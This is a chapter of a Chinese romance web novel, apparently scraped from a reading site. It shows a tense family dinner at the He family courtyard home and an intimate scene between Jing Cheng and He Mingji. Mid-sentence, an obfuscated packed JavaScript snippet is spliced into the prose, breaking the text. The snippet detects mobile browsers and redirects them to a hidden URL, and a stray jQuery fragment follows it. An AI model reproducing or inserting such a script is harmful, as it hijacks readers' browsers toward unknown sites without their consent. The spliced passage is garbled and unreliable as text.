“现在不能这样,那什么时候可以?”景澄一脸纯良地提问。
这表情落在贺明霁眼睛里,就像只金鱼在许愿。
虽然他并没有收到她的硬币,但贺明霁很痛快地说:“之后随便你。”
景澄弯起眼睛,就着贺明霁的掌心蹭了下脸颊:“走吧走吧。”
“你怎么比我还期待的样子?”
景澄:“看奥特曼打怪兽时都这样。”
贺明霁微笑:“李暮汀又悄悄和你说了什么?”
景澄当然矢口否认。
不远处,门檐下亮着古典造型的灯,照着繁复绮丽的斗拱,建筑自古都有严格的阶级属性,象征它的主人有何等地位。
灯下,人人西装革履,却又像被装进一幅陈旧的画里。
贺明霁和她走了过去,旧画里的人便活了,热情地迎了上来。
“真不愧是咱们贺家的大少爷。真叫三叔好等。”
“闭嘴吧贺钟。明霁生意忙,能在年前回来一趟,心意还不够?你以为都和你一样,搞个工程——”
“喔!是是。三叔嘴巴笨。”名叫贺钟的中年男人哈哈大笑,殷勤真挚地望着贺明霁。
贺明霁唇角弯了弯:“嗯。三叔,我爸呢。”
贺钟眼里闪过一丝难堪,又忙说:“他在里面等你,知道你要回来,高兴得很。”
贺明霁笑道:“谢谢三叔。”
景澄一向敏锐,察觉到贺明霁的态度和平常有点不同。他笑得礼貌,是不远不近的冷淡。
贺明霁侧过脸,又恢复了二十四孝好哥哥的模式:“进去吗?”
景澄说:“好呀。”
贺家的叔伯们看着她,又看向贺明霁。
已经二十六岁的、早有成就的贺氏继承人。
和贺凛关系很差,依然是贺凛唯一中意的继承人。
没有任何不满,没有任何疑惑。他们也笑容满面地说:“那快走吧,别给耽误久啰!”
三进的院落,从前院经影壁过垂花门,彩绘的梁下回廊宛转,一棵国槐树在夜色里洒落深深的阴影。
景澄已经提前见过这棵国槐了,和照片里没什么差别。她想,只除却没有了一家三口的光景。
贺明霁说:“这是内院,餐厅在它南边。”
国槐树后,七开间的餐厅透着冷白色的光,明亮地映着那些青檐、瓦当、漆柱间精巧的雀替。
一个模样冷厉的男人在同人说话。
他并不算很衰老,因为谢筠今年才四十九岁,常常背着设备带研究生们一块儿去雨林实践。然而比之谢筠,他眉眼里都是疲态,于是年轻时的英俊就变得寻常起来。
看到贺明霁的时候,他同样也没什么表情。
“回来了。”
贺明霁沉稳地点头:“爸,这是景澄。”
贺凛:“我知道。都过来坐。”
他没再说什么,仅仅平淡地收回了目光。
菜一道道摆了上来。
都是家常的菜,只从用料能看出主人家的讲究。今晚来的人都是贺明霁的长辈,换而言之,都是贺凛的兄弟。他们年龄相差不算大,均以贺凛为大家长。
佣人端了道清蒸鲈鱼上来,有人惊喜地说:“大哥总记得我爱吃这个。”
贺凛脸上终于浮出点儿笑:“你一直就这样。”
气氛一派和乐,显然这是一个非常友爱团结的大家庭,叔伯间关系和睦,而景澄所见过的、贺明霁的疏离冷淡只不过是年轻人不懂事的叛逆。
“对了。”贺钟掂了掂筷子,“要开集团董事会这件事,大哥,我觉得再商量一下。信平的事情,也可以说是家事。明霁,你觉得呢?做工程和你那游戏不一样,你这些年挣的花的都是虚的,站在时代的风口上,不懂我们也正常。”
贺明霁给景澄夹了箸鲈鱼的腹肉,一副受教的模样,笑意温和:“项目超支工人停薪。三叔,你的分红和工资看来也是虚的?”
“你哪听的!再说做工程哪里有……大哥,明霁是真不懂我们这些长辈的不容易!”
贺凛沉沉地说:“行了。要吃完了,就都回去吧。”
餐桌上的人神情一变:“不是说好了……”
贺明霁起身:“爸,我先带景澄去休息。”
贺凛说:“好。”
一脸急切的贺钟便被钉在了椅子上。
景澄和贺明霁一块出了餐厅,隐隐还能听到贺钟的抱怨,“胳膊肘往外拐”“真不把贺氏放在眼里”“董事会他从前不插手”之类的。
贺明霁没回头看。
-
沿着回廊,又过一道内门,他们从侧边去到另一个院子。
没有种国槐了,有棵石榴树在院子西面,伸展出的枝干经过人工的调整,像林风眠画中展臂的仕女。
景澄好奇贺明霁从小就住的房间,但令她失望的是,贺明霁的房间和标准的客房没有任何不同。
光洁崭新整齐,私人用品很少,更没有什么童年的痕迹,好像曾经只是有个客人在这儿住过,之后就不再回来。
好奇心没能得到满足,景澄哀怨地栽倒在白色床单上,咕噜噜地翻了个身,又被贺明霁给翻了过来。
“别闷着了。”贺明霁捏了把她的脸颊,当作安慰,然而景澄并不领情。
他又道:“我过会儿有点儿事要和我爸单独聊。你呢?一个人可以吗。旁边的房间是为你准备的,你的行李我让人送了过去。”
“我先在这等你回来。”景澄想了想,抬着眼睛看他,露出狡黠的模样,“我也有事要和你说。”
贺明霁原本要走了,立刻重新靠了过来:“什么事?三叔他们太讨厌?”
他撑着手臂,自身的阴影将景澄全然覆盖。
“请默念富强民主文明和谐。你看起来像想把他们的车胎打爆、让他们再也出现不了一样。”景澄这晚上还没好好和贺明霁说过话。她被贺明霁的反应逗得直笑,“我为什么要在乎他们。”
“对,你在乎我。”贺明霁心领神会,他的全身终于松懈下来。
贺明霁曲着手臂,把头低到了景澄的颈侧,很轻地亲她。
非常素的吻,比起饱含情愫的挑逗,只会让人觉得痒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15472637|164776||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,景澄平复好的笑声又冒了出来,她想伸手把亲吻扳回“正轨”,手腕被贺明霁握住了。
“那等我的时候可以做会儿题,我会检查的。”
景澄瞪他:“你是魔鬼吗?”
贺明霁不为所动:“我是你哥。”
“行吧。我都在国外拿过一次驾照了,科目一简直是易如反掌。我这辈子考过很多试,表现都还不错。”景澄对自己的应试能力相当自得,她从贺明霁的身下钻出来,“你的平板呢。”
行李已经提前被人送到了房间,贺明霁习惯了被景澄支使,他把平板找出来,放到景澄手里。
“我尽快回来。”
景澄把平板对着自己的脸,摆出标准的笑容解锁:“好嘞。”
中国和美国的交通规则有很多不同,景澄车技熟练,做起题来却不大得心应手,加上心里有事,她的注意力不自觉就涣散到了那件事上面。
等贺明霁带着露水和晚风重新走进来的时候,他的妹妹已经安详地闭上了眼睛。
“睡着了。”贺明霁戳了戳景澄的脸。
景澄伏在枕头上,小动物似的看着他:“眯了会儿。而已。”
贺明霁笑了声,重新拿起兄长的身份:“妹妹,说了我要检查你题目做的怎么样的。”
景澄不满:“那好。公平起见,我也要检查一下你怎么不开心。”
“你当是回合制游戏。再说,我没有不开心。”贺明霁说着,俯身把景澄拉起来。
“那就是有。”
贺明霁对于争辩的胜负无所谓。回这个家本来就不是愉快的事情,不过没有和景澄抱怨的必要,他之前从来没表露过,这是他要自己解决好的事情。
没有外人在的时候,贺明霁就只想和景澄更亲密点儿。渴了很久的人,骤然得到一汪水,就时不时地想确认一下,这汪水是属于自己的,哪怕不知具体的期限。
贺明霁把景澄抱到膝盖上,占据床的使用权。
他贴着景澄的额头,笑吟吟地向妹妹请教:“所以,你要和我说什么?”
他瞳色很淡的眼睛里倒映着明晃晃的灯光,看起来有点湿润。
景澄低头,勾住贺明霁的脖子,慢吞吞道:“我发现你之前说得对,我没有那么了解你。爱人和哥哥并不完全一样。”
“这样?”贺明霁脸上的笑变轻了。
“拆盲盒似的,我无痛拥有了两款男友。可惜不能是夹心的。”景澄眯着眼睛笑起来,梨涡里藏着坏水。
贺明霁松了口气:“什么夹心?”
景澄摸了摸他的脸,在他的锁骨和颈侧落下温热的吻,直到贺明霁有点狼狈有点急切地把她抱紧了,她才软着声音说:“听不懂就算了,别管这个。哥哥,你怎么样我都喜欢。我只是很想很想告诉你,”
贺明霁仰脸看她,那神情竟令景澄品味出了一丝虔诚。
可她又不是神佛菩萨。
不解风情的唯物主义战士景澄认真地道:“我不希望再有个洁癖的家伙翻着垃圾桶、为了找回一张相片而难过。”
“所以,不要不开心了。”